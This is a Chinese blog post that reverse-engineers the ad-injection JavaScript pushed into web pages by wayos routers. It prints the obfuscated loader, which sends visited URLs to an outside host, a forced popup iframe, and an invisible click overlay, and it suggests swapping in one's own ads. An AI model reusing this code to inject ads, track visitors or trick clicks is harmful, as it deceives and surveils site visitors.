wayos靠插入js代码来投放广告,与cnzz站长统计一样的原理
wayos靠插入js代码来投放广告,与cnzz站长统计一样的原理,一般插入到网页最底部,如
<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i7.js"></script>
解析这个i7.js源代码为
(function(d) {
function $a(p) {
try {
var x = d.getElementsByTagName("head")[0];
var y = x.appendChild($s(p));
setTimeout(function() {
x.removeChild(y)
}, 2000)
} catch (e) {}
}
function $c(n) {
return d.createElement(n)
}
function $s(p) {
var j = $c("script");
j.src = p;
j.async = true;
j.type = "text/javascript";
return j
}
var amt = 0;
function $rn() {
var ww = d.body.clientWidth;
var hh = d.body.clientHeight;
var u = {
j: "ht",
c: "com.cn",
q: "tp:",
m: "b.",
n: "wdzs",
d: "a."
};
var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;
/** var be =http://a.wdzsb.com.cn/ **/
var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
if (top == this) {
if (ww < 300 || hh < 40) {
amt += 1;
if (amt < 3) {
setTimeout($rn, 1000)
} else {
$a(be + "/fmt7p/m.php?u=" + en)
}
} else {
$a(be + "/fmt7p/?u=" + en)
}
}
}
setTimeout($rn, 500)
})(document);
别让他用var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;来迷惑你。其实url已经被拆分。真实的url地址如下
http://a.wdzsb.com.cn/fmt7p/?u=你访问的URL&a=0.001605906146013636&w=1263&h=397 http://a.wdzsb.com.cn/fmt7p/m.php?u=你访问的URL&a=0.001605906146013636&w=300&h=397
继续
(function(w, d) {
var gid = "bd_uuid_rb_111268";
function $c(n) {
return d.createElement(n)
}
function $show() {
var e = d.getElementById(gid);
if (e) {
e.style.display = "block"
}
}
function $isdone() {
var e = d.getElementById(gid);
if (e) {
return true
}
return false
}
function $rm() {
var e = d.getElementById(gid);
if (e) {
e.style.display = "none"
}
setTimeout($del, 10000)
}
function $del() {
var e = d.getElementById(gid);
if (e) {
e.parentNode.removeChild(e)
}
}
function $drn() {
if ($isdone()) {
return
}
var l = $c("div");
l.id = gid;
l.style.display = "none";
l.oncontextmenu = function() {
return false
};
l = d.body.appendChild(l);
var isIE6 = w.navigator.userAgent.match(/MSIE 6/ig) && !w.navigator.userAgent.match(/MSIE 7|8/ig);
var sty = "";
if (isIE6) {
sty = "BORDER-RIGHT: 0px; BORDER-TOP: 0px; DISPLAY: block; Z-INDEX: 2147483647; RIGHT: 0px; padding:0;MARGIN: 0px; BORDER-LEFT: 0px; WIDTH: 300px; BOTTOM: auto; BORDER-BOTTOM: 0px; POSITION: absolute; TOP: expression(eval((document.documentElement&&document.documentElement.scrollTop||document.body.scrollTop)+(document.documentElement&&document.documentElement.clientHeight||document.body.clientHeight)-this.offsetHeight-0)); HEIGHT: 250px; BACKGROUND-COLOR: #ecf9fd; TEXT-ALIGN: left"
} else {
sty = "display: block; position: fixed; padding: 0px; margin: 0px; border: 0px none;text-align: left; z-index: 2147483647; width: 300px; height: 250px; right: 0px; bottom: 0px; top: auto;"
}
var k = $c("div");
k.style.cssText = sty;
k = l.appendChild(k);
k.innerHTML = "<span style=\"position:absolute;width:42px;height:14px;line-height:20px;right:0px;top:-14px;cursor:pointer;text-align:right;display:block;background: url(http://dl.katman.cn/img/close.gif) 0px 0px no-repeat scroll;\" onmouseover=\"this.style.backgroundPosition='0 -20px';\" onmouseout=\"this.style.backgroundPosition='0 0';\" onclick=\"javascript:var e=document.getElementById('bd_uuid_rb_111268');if(!e)return;e.style.display='none';setTimeout(function(){var e=document.getElementById('bd_uuid_rb_111268');if(e){e.parentNode.removeChild(e)}},10000);\"></span>";
var ifr = $c("iframe");
ifr.scrolling = "no";
ifr.marginWidth = "0";
ifr.marginHeight = "0";
ifr.frameBorder = "0";
ifr.height = "250px";
ifr.width = "300px";
ifr = k.appendChild(ifr);
var ul = "http://dl.katman.cn/cl/html/fmt7p.html";
var rand = Math.random();
if (rand < 0.15) {
ul = "http://ec.ycyikao.com/img/zy/stock/"
}
try {
var doc = ifr.contentWindow.document;
doc.open().write('<body onload="javascript:' + "window.location.href='" + ul + "';\">");
doc.close()
} catch (e) {
ifr.src = ul
}
}
function $dly() {
$drn();
setTimeout($show, 2000);
setTimeout($rm, 1000 * 1800)
}
if (!window._fmt_done_pg) {
window._fmt_done_pg = 1;
setTimeout($dly, 50)
}
})(window, document);
js代码去建立一个右下角窗口的网页
http://ec.ycyikao.com/img/zy/stock/ 为
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
</head>
<body style="margin:0; padding:0">
<div></div>
<script type="text/javascript">
//创建标签
function $c(n){
return document.createElement(n);
}
var a=$c("a");
a.href="http://www.xiaotai8.cn/static/zdbn.html";
a.target="_blank";
a.hidefocus="true";
a.style.cssText="position:absolute;left:0px;top:0px;width:300px;height:250px;z-index:6;display: block; background:#fff; opacity:0;filter:alpha(opacity=0);";
var f=$c("img");
f.style.cssText="width:300px;height:250px";
f.src="300-250-1.jpg";
document.body.appendChild(f);
document.body.appendChild(a);
</script>
<div style="visibility:hidden">
<script src="https://s11.cnzz.com/z_stat.php?id=1253549727&web_id=1253549727" language="JavaScript"></script>
</div>
</body>
</html>
http://dl.katman.cn/cl/html/fmt7p.html为
<!doctype html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="UTF-8">
<meta name="Generator" content="EditPlus?">
<meta name="Author" content="yaochuanlu">
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1">
<meta content=always name=referrer>
<title>loaded</title>
<style type="text/css">
body,div {
margin:0; padding:0;
}
</style>
<script>
var index = 0;//当前显示iframe序号
var initindex = 0;
var objarr = null ;
var offset = 0;//动画中偏移量
var currentiframe = null;//当前显示的iframe
var nextiframe = null;//下个要显示的iframe
var iframe1 ;//第一个显示的iframe
var changeInterval = 10000;//设置广告切换时间为10S
var parentDiv;//需要插入的父级元素
var srcarr = new Array("http://bj.ganji.com/content/content_branch.php?vaction=cojdu&pid=hz_2","http://www.duba.com/union2.html?u2580309_300_250_pg");//所有需要加载的广告src
var iframewidth = 300;
var iframeheight = 250;
function change()
{
if(objarr == null)init();//如果没有初始化则进行初始化
currentiframe = objarr[index];//当前需要展示的iframe序号
nextiframe = objarr[getindex()];
move();
};
function move()
{
//设置平移效果
offset -= 20;
currentiframe.style.left = offset + "px";
nextiframe.style.left = iframewidth + offset + "px";
nextiframe.style.width = Math.abs(offset) + "px";
if(offset <= -1*iframewidth)
{
offset = 0;
return;
}
else
{
setTimeout("move()",50);
}
};
function init()
{
objarr = new Array();//定义存储iframe的数组
parentDiv = document.getElementById("main");
if(parentDiv == null || parentDiv == "underfined")
{
//发送异常则停止
return;
}
//初始化第一个iframe,加载src资源
iframe1 = document.getElementById("external-frame");
if(iframe1 != null)
{
iframe1.setAttribute("src",srcarr[initindex++]);
iframe1.style.height = 250 + "px";
objarr.push(iframe1);
}
else
{
return setTimeout( "init()", 1000);
}
/*
添加延迟加载功能,延迟加载前两个广告位
防止一次打开多个iframe造成卡顿现象
*/
setTimeout("addChildAdTask()",3000);//动态加载需要展示的广告
//setTimeout("addOther()",1000);
//开始定时轮播广告
setInterval( "change()", changeInterval);
}
function getindex()
{
if(index == objarr.length -1)
{
index = 0;
return index;
}
else
{
return ++index;
}
};
function addChildAdTask()
{
var ifr = document.createElement("iframe");
ifr.style.position = "absolute";
ifr.style.left = -300 + "px";
ifr.style.top = 0 + "px";
ifr.style.width = 300 + "px";
ifr.style.height = 250 + "px";
ifr.scrolling = "no";
ifr.marginWidth= "0";
ifr.marginHeight="0";
ifr.frameBorder="0";
ifr.src = srcarr[initindex++];
parentDiv.appendChild(ifr);
objarr.push(ifr);
if(initindex < srcarr.length)setTimeout("addChildAdTask()",3000);
};
function readyTask(u){
var ifr = document.createElement("iframe");
ifr.style.position = "absolute";
ifr.style.display="none";
ifr.style.left = "0px";
ifr.style.top = "300px";
ifr.style.width = 300 + "px";
ifr.style.height = 250 + "px";
ifr.scrolling = "no";
ifr.marginWidth= "0";
ifr.marginHeight="0";
ifr.frameBorder="0";
ifr.src = u;
parentDiv.appendChild(ifr);
}
function addOther()
{
var rand=Math.random();
if(rand<0.2){
readyTask("http://js.cqmono.cn/html/wf_bj_dg_300.html");
}else if(rand<0.6){
readyTask("http://www.duba.com/union2.html?u2252145_300_250_pg");
}else{
readyTask("http://www.duba.com/union2.html?u2252151_300_250_pg");
}
};
window.onload = function()
{
//网页加载完成1秒之后开始延迟初始化
setTimeout( "init()", 50);
};
</script>
</head>
<body>
<div id="main" style="padding: 0px; width: 300px; height: 250px;">
<iframe id="external-frame" scrolling="no" frameborder="0" marginwidth="0" marginheight="0" style="position:absolute; left: 0px; top: 0px; padding: 0px; width: 300px; height: 250px;"></iframe>
</div>
</body>
</html>
看到效果了吧。
解决办法
1。我们也可以来构建一个js代码,用来替换http://t.5txs.cn/rb/i7.js,同样也做一个枉、网页html.可以做到完全拦截他而展示自己的广告
2.完全屏蔽cnzz统计
3.在自己网站html php asp代码最后,加<!--代码

浙公网安备 33010602011771号